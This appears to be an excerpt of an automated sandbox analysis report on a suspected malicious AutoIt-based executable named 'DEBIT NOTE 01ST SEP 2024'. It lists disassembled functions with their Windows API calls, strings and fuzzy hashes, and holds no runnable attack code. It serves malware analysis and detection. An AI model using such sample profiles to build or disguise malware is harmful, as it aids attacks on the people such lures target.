                                          • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00456794
                                          • SendMessageW.USER32(00000000,00000432,00000000,0000002C), ref: 004567B2
                                          • SendMessageW.USER32(?,00000418,00000000,?), ref: 004567C6
                                          • SendMessageW.USER32(?,00000439,00000000,0000002C), ref: 004567D6
                                          • SendMessageW.USER32(?,00000421,?,?), ref: 004567F6
                                          • SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 0045680C
                                          • IsWindowVisible.USER32(?), ref: 0045682C
                                          • SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 00456848
                                          • SendMessageW.USER32(?,00000411,00000001,0000002C), ref: 0045685C
                                          • GetWindowRect.USER32(?,?), ref: 00456873
                                          • MonitorFromPoint.USER32(?,00000001,00000002), ref: 00456891
                                          • GetMonitorInfoW.USER32(00000000,?), ref: 004568A9
                                          • CopyRect.USER32(?,?), ref: 004568BE
                                          • SendMessageW.USER32(?,00000412,00000000), ref: 00456914
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: MessageSendWindow$Rect$LongMonitor$CopyCreateCursorDesktopDestroyFromInfoPointVisible
                                          • String ID: ($,$tooltips_class32
                                          • API String ID: 225202481-3320066284
                                          • Opcode ID: d36279d6046af7916fa8cb53b873a9c87cdaa8c87180e7b1c59dea88ca998a74
                                          • Instruction ID: fcdb4dd5bfb9c4cfeeadc9569793f3eee26ed74f2078e1bfb0220ba6a1b85fea
                                          • Opcode Fuzzy Hash: d36279d6046af7916fa8cb53b873a9c87cdaa8c87180e7b1c59dea88ca998a74
                                          • Instruction Fuzzy Hash: 4CB17170A00205AFDB54DFA4CD85BAEB7B4BF48304F10895DE919BB282D778A949CB58
                                          Function 0046DCB4 Relevance: 36.2, APIs: 24, Instructions: 247clipboardCOMMON
                                          Download Yara Rule
                                          APIs
                                          • OpenClipboard.USER32(?), ref: 0046DCE7
                                          • IsClipboardFormatAvailable.USER32(0000000D), ref: 0046DCF5
                                          • GetClipboardData.USER32(0000000D), ref: 0046DD01
                                          • CloseClipboard.USER32 ref: 0046DD0D
                                          • GlobalLock.KERNEL32(00000000), ref: 0046DD37
                                          • CloseClipboard.USER32 ref: 0046DD41
                                          • IsClipboardFormatAvailable.USER32(00000001), ref: 0046DD81
                                          • GetClipboardData.USER32(00000001), ref: 0046DD8D
                                          • CloseClipboard.USER32 ref: 0046DD99
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Clipboard$Close$AvailableDataFormat$GlobalLockOpen
                                          • String ID:
                                          • API String ID: 15083398-0
                                          • Opcode ID: 5d52f7a8e2fbd0ab087c8c139685d9916ac200a5779b15fccd04bfb456a25eb2
                                          • Instruction ID: c6f05cb0c77453757aa6b00544986da50a17ac1627668c5aecb5782462309948
                                          • Opcode Fuzzy Hash: 5d52f7a8e2fbd0ab087c8c139685d9916ac200a5779b15fccd04bfb456a25eb2
                                          • Instruction Fuzzy Hash: CE81B072704201ABD310EF65DD8AB5EB7A8FF94315F00482EF605E72D1EB74E905879A
                                          Function 00471BC9 Relevance: 35.3, APIs: 18, Strings: 2, Instructions: 313windowtimeCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1
                                          • GetWindowRect.USER32(?,?), ref: 00471CF7
                                          • GetClientRect.USER32(?,?), ref: 00471D05
                                          • GetSystemMetrics.USER32(00000007), ref: 00471D0D
                                          • GetSystemMetrics.USER32(00000008), ref: 00471D20
                                          • GetSystemMetrics.USER32(00000004), ref: 00471D42
                                          • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00471D71
                                          • GetSystemMetrics.USER32(00000007), ref: 00471D79
                                          • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00471DA3
                                          • GetSystemMetrics.USER32(00000008), ref: 00471DAB
                                          • GetSystemMetrics.USER32(00000004), ref: 00471DCF
                                          • SetRect.USER32(?,00000000,00000000,?,?), ref: 00471DEE
                                          • AdjustWindowRectEx.USER32(?,?,00000000,00000040), ref: 00471DFF
                                          • CreateWindowExW.USER32(00000040,AutoIt v3 GUI,?,?,?,?,?,?,?,00000000,00400000,00000000), ref: 00471E35
                                          • SetWindowLongW.USER32(00000000,000000EB,?), ref: 00471E6E
                                          • GetClientRect.USER32(?,?), ref: 00471E8A
                                          • GetStockObject.GDI32(00000011), ref: 00471EA6
                                          • SendMessageW.USER32(?,00000030,00000000), ref: 00471EB2
                                          • SetTimer.USER32(00000000,00000000,00000028,00462986), ref: 00471ED9
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: System$Metrics$Rect$Window$ClientInfoParameters$AdjustCreateLongMessageObjectSendStockTimer_malloc
                                          • String ID: @$AutoIt v3 GUI
                                          • API String ID: 867697134-3359773793
                                          • Opcode ID: d466945cffb50a7196a7867ec3c7573785653ff52612d7c288cf7d01b72dc8e8
                                          • Instruction ID: 8cf5fd9e7b0abf2f472dad9b41bae804ea9cb1b32c1b51d65689880f1cfe2d6c
                                          • Opcode Fuzzy Hash: d466945cffb50a7196a7867ec3c7573785653ff52612d7c288cf7d01b72dc8e8
                                          • Instruction Fuzzy Hash: 7DC17F71A402059FDB14DFA8DD85BAF77B4FB58714F10862EFA09A7290DB78A840CB58
                                          Function 00469296 Relevance: 33.4, APIs: 6, Strings: 13, Instructions: 116COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: __wcsicoll$__wcsnicmp
                                          • String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:$pQH
                                          • API String ID: 790654849-32604322
                                          • Opcode ID: 29d435e902b015a153743909057decd258383f7606cc46ad0233eead686698a2
                                          • Instruction ID: c91e69f26a1c2718e03151092e39642ccf44f92bf630fd0466772f198d10bc2a
                                          • Opcode Fuzzy Hash: 29d435e902b015a153743909057decd258383f7606cc46ad0233eead686698a2
                                          • Instruction Fuzzy Hash: CA317731A0420966DB10FAA2DD46BAE736C9F15315F20053BBD00BB2D5E7BC6E4587AE
                                          Function 00455A89 Relevance: 31.9, APIs: 21, Instructions: 395COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 7b3c0986a6774ad4839bdf3b3ab280162fe8917d12771473e04c5712f0602a0a
                                          • Instruction ID: 62dae473257cc2caee0a49c5626d46440081d624880130feb25903cd50123649
                                          • Opcode Fuzzy Hash: 7b3c0986a6774ad4839bdf3b3ab280162fe8917d12771473e04c5712f0602a0a
                                          • Instruction Fuzzy Hash: 84C128727002046BE724CFA8DC46FAFB7A4EF55311F00416AFA05DA2C1EBB99909C795
                                          Function 00452AC7 Relevance: 31.8, APIs: 21, Instructions: 343COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00442C5A: __time64.LIBCMT ref: 00442C66
                                          • _fseek.LIBCMT ref: 00452B3B
                                          • __wsplitpath.LIBCMT ref: 00452B9B
                                          • _wcscpy.LIBCMT ref: 00452BB0
                                          • _wcscat.LIBCMT ref: 00452BC5
                                          • __wsplitpath.LIBCMT ref: 00452BEF
                                          • _wcscat.LIBCMT ref: 00452C07
                                          • _wcscat.LIBCMT ref: 00452C1C
                                          • __fread_nolock.LIBCMT ref: 00452C53
                                          • __fread_nolock.LIBCMT ref: 00452C64
                                          • __fread_nolock.LIBCMT ref: 00452C83
                                          • __fread_nolock.LIBCMT ref: 00452C94
                                          • __fread_nolock.LIBCMT ref: 00452CB5
                                          • __fread_nolock.LIBCMT ref: 00452CC6
                                          • __fread_nolock.LIBCMT ref: 00452CD7
                                          • __fread_nolock.LIBCMT ref: 00452CE8
                                            • Part of subcall function 00452719: __fread_nolock.LIBCMT ref: 0045273E
                                            • Part of subcall function 00452719: __fread_nolock.LIBCMT ref: 00452780
                                            • Part of subcall function 00452719: __fread_nolock.LIBCMT ref: 0045279E
                                            • Part of subcall function 00452719: _wcscpy.LIBCMT ref: 004527D2
                                            • Part of subcall function 00452719: __fread_nolock.LIBCMT ref: 004527E2
                                            • Part of subcall function 00452719: __fread_nolock.LIBCMT ref: 00452800
                                            • Part of subcall function 00452719: _wcscpy.LIBCMT ref: 00452831
                                          • __fread_nolock.LIBCMT ref: 00452D78
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: __fread_nolock$_wcscat_wcscpy$__wsplitpath$__time64_fseek
                                          • String ID:
                                          • API String ID: 2054058615-0
                                          • Opcode ID: 0fea368d492e8b0ff51cb8fd7897a71ebf5dc00d39f6f8cf48bc83bd06102a16
                                          • Instruction ID: 04d0e47ed4a2b248740d2851a73093f1b496c65d3ae4d984919b8c0089c9d159
                                          • Opcode Fuzzy Hash: 0fea368d492e8b0ff51cb8fd7897a71ebf5dc00d39f6f8cf48bc83bd06102a16
                                          • Instruction Fuzzy Hash: 6FC14EB2508340ABD720DF65D881EEFB7E8EFC9704F40492FF68987241E6759548CB66
                                          Function 0044870C Relevance: 31.8, APIs: 17, Strings: 1, Instructions: 311COMMON
                                          Download Yara Rule
                                          APIs
                                          • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 004487BD
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Window
                                          • String ID: 0
                                          • API String ID: 2353593579-4108050209
                                          • Opcode ID: b0df0e29545e706fc7615ccb9c436c62dbee4145767baabea16aca18bd76baa2
                                          • Instruction ID: 06508bea8339de1511a48146ac1d08a96458f0089f80555ee302a354f7131a6f
                                          • Opcode Fuzzy Hash: b0df0e29545e706fc7615ccb9c436c62dbee4145767baabea16aca18bd76baa2
                                          • Instruction Fuzzy Hash: 35B18BB0204341ABF324CF24CC89BABBBE4FB89744F14491EF591962D1DBB8A845CB59
                                          Function 0044A032 Relevance: 31.7, APIs: 21, Instructions: 198windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetSysColor.USER32(0000000F), ref: 0044A05E
                                          • GetClientRect.USER32(?,?), ref: 0044A0D1
                                          • SendMessageW.USER32(?,00001328,00000000,?), ref: 0044A0E9
                                          • GetWindowDC.USER32(?), ref: 0044A0F6
                                          • GetPixel.GDI32(00000000,?,?), ref: 0044A108
                                          • ReleaseDC.USER32(?,?), ref: 0044A11B
                                          • GetSysColor.USER32(0000000F), ref: 0044A131
                                          • GetWindowLongW.USER32(?,000000F0), ref: 0044A140
                                          • GetSysColor.USER32(0000000F), ref: 0044A14F
                                          • GetSysColor.USER32(00000005), ref: 0044A15B
                                          • GetWindowDC.USER32(?), ref: 0044A1BE
                                          • GetPixel.GDI32(00000000,00000000,00000000), ref: 0044A1CB
                                          • GetPixel.GDI32(00000000,?,00000000), ref: 0044A1E4
                                          • GetPixel.GDI32(00000000,00000000,?), ref: 0044A1FD
                                          • GetPixel.GDI32(00000000,?,?), ref: 0044A21D
                                          • ReleaseDC.USER32(?,00000000), ref: 0044A229
                                          • SetBkColor.GDI32(?,00000000), ref: 0044A24C
                                          • GetSysColor.USER32(00000008), ref: 0044A265
                                          • SetTextColor.GDI32(?,00000000), ref: 0044A270
                                          • SetBkMode.GDI32(?,00000001), ref: 0044A282
                                          • GetStockObject.GDI32(00000005), ref: 0044A28A
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Color$Pixel$Window$Release$ClientLongMessageModeObjectRectSendStockText
                                          • String ID:
                                          • API String ID: 1744303182-0
                                          • Opcode ID: e73dd003506282a75ec33c48a00615cd632731ac0e25c139f5641f86d6275693
                                          • Instruction ID: 0380b5c53d8a23173c1b90063483f03488caaf4f58ae5d2001aea5c06c56dff4
                                          • Opcode Fuzzy Hash: e73dd003506282a75ec33c48a00615cd632731ac0e25c139f5641f86d6275693
                                          • Instruction Fuzzy Hash: E6612531140101ABE7109F78CC88BAB7764FB46320F14876AFD659B3D0DBB49C529BAA
                                          Function 00417C20 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 109libraryloadermemoryCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,004164DE), ref: 00417C28
                                          • __mtterm.LIBCMT ref: 00417C34
                                            • Part of subcall function 004178FF: TlsFree.KERNEL32(00000017,00417D96,?,004164DE), ref: 0041792A
                                            • Part of subcall function 004178FF: DeleteCriticalSection.KERNEL32(00000000,00000000,00410E44,?,00417D96,?,004164DE), ref: 004181B8
                                            • Part of subcall function 004178FF: _free.LIBCMT ref: 004181BB
                                            • Part of subcall function 004178FF: DeleteCriticalSection.KERNEL32(00000017,00410E44,?,00417D96,?,004164DE), ref: 004181E2
                                          • GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00417C4A
                                          • GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00417C57
                                          • GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00417C64
                                          • GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00417C71
                                          • TlsAlloc.KERNEL32(?,004164DE), ref: 00417CC1
                                          • TlsSetValue.KERNEL32(00000000,?,004164DE), ref: 00417CDC
                                          • __init_pointers.LIBCMT ref: 00417CE6
                                          • __calloc_crt.LIBCMT ref: 00417D54
                                          • GetCurrentThreadId.KERNEL32 ref: 00417D80
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: AddressProc$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__mtterm_free
                                          • String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
                                          • API String ID: 4163708885-3819984048
                                          • Opcode ID: b664ad2f65df639e4a6a12b7ff6e2ff430dd15d20f416fce335d42a987fa1153
                                          • Instruction ID: ca22d9d2e1075830452d52834408fe47c465c3b6ac2468b12672dd77d4d5938c
                                          • Opcode Fuzzy Hash: b664ad2f65df639e4a6a12b7ff6e2ff430dd15d20f416fce335d42a987fa1153
                                          • Instruction Fuzzy Hash: D5315A75808710DECB10AF75BD0865A3EB8BB60764B12093FE914932B0DB7D8881CF9C
                                          Function 004341E6 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 91windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: __wcsicoll$IconLoad
                                          • String ID: blank$info$question$stop$warning
                                          • API String ID: 2485277191-404129466
                                          • Opcode ID: 90066845996854fde84de619c40f1fe09919dc61d56db525c82daa747bae1459
                                          • Instruction ID: a4c8356a5cb7371e963c7ba7671977edd7eb5cf64b0a9c0e84f2fcb3e6131cad
                                          • Opcode Fuzzy Hash: 90066845996854fde84de619c40f1fe09919dc61d56db525c82daa747bae1459
                                          • Instruction Fuzzy Hash: 9121A732B4021566DB00AB65BC05FEF3358DB98762F040837FA05E2282E3A9A52093BD
                                          Function 00454639 Relevance: 25.7, APIs: 17, Instructions: 199windowtimeCOMMON
                                          Download Yara Rule
                                          APIs
                                          • LoadIconW.USER32(?,00000063), ref: 0045464C
                                          • SendMessageW.USER32(?,00000080,00000000,00000000), ref: 0045465E
                                          • SetWindowTextW.USER32(?,?), ref: 00454678
                                          • GetDlgItem.USER32(?,000003EA), ref: 00454690
                                          • SetWindowTextW.USER32(00000000,?), ref: 00454697
                                          • GetDlgItem.USER32(?,000003E9), ref: 004546A8
                                          • SetWindowTextW.USER32(00000000,?), ref: 004546AF
                                          • SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 004546D1
                                          • SendDlgItemMessageW.USER32(?,000003E9,000000C5,?,00000000), ref: 004546EB
                                          • GetWindowRect.USER32(?,?), ref: 004546F5
                                          • SetWindowTextW.USER32(?,?), ref: 00454765
                                          • GetDesktopWindow.USER32 ref: 0045476F
                                          • GetWindowRect.USER32(00000000), ref: 00454776
                                          • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 004547C4
                                          • GetClientRect.USER32(?,?), ref: 004547D2
                                          • PostMessageW.USER32(?,00000005,00000000,00000080), ref: 004547FC
                                          • SetTimer.USER32(?,0000040A,?,00000000), ref: 0045483F
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
                                          • String ID:
                                          • API String ID: 3869813825-0
                                          • Opcode ID: 7299b5a8a54a0497ad48b5c2470d2d1877852c465202323cb5b3bdfcc53dc08d
                                          • Instruction ID: 23cbb84c7db07f79204f7fb68ef1a354279dd66d41dce19f663d7a5246859b32
                                          • Opcode Fuzzy Hash: 7299b5a8a54a0497ad48b5c2470d2d1877852c465202323cb5b3bdfcc53dc08d
                                          • Instruction Fuzzy Hash: 06619D75A00705ABD720DFA8CE89F6FB7F8AB48705F00491DEA46A7290D778E944CB54
                                          Function 004649A3 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 395COMMON
                                          Download Yara Rule
                                          APIs
                                          • _wcslen.LIBCMT ref: 00464B28
                                          • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00464B38
                                          • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00464B60
                                          • _wcslen.LIBCMT ref: 00464C28
                                          • GetCurrentDirectoryW.KERNEL32(00000000,00000000,?), ref: 00464C3C
                                          • GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00464C64
                                          • _wcslen.LIBCMT ref: 00464CBA
                                          • _wcslen.LIBCMT ref: 00464CD0
                                          • _wcslen.LIBCMT ref: 00464CEF
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
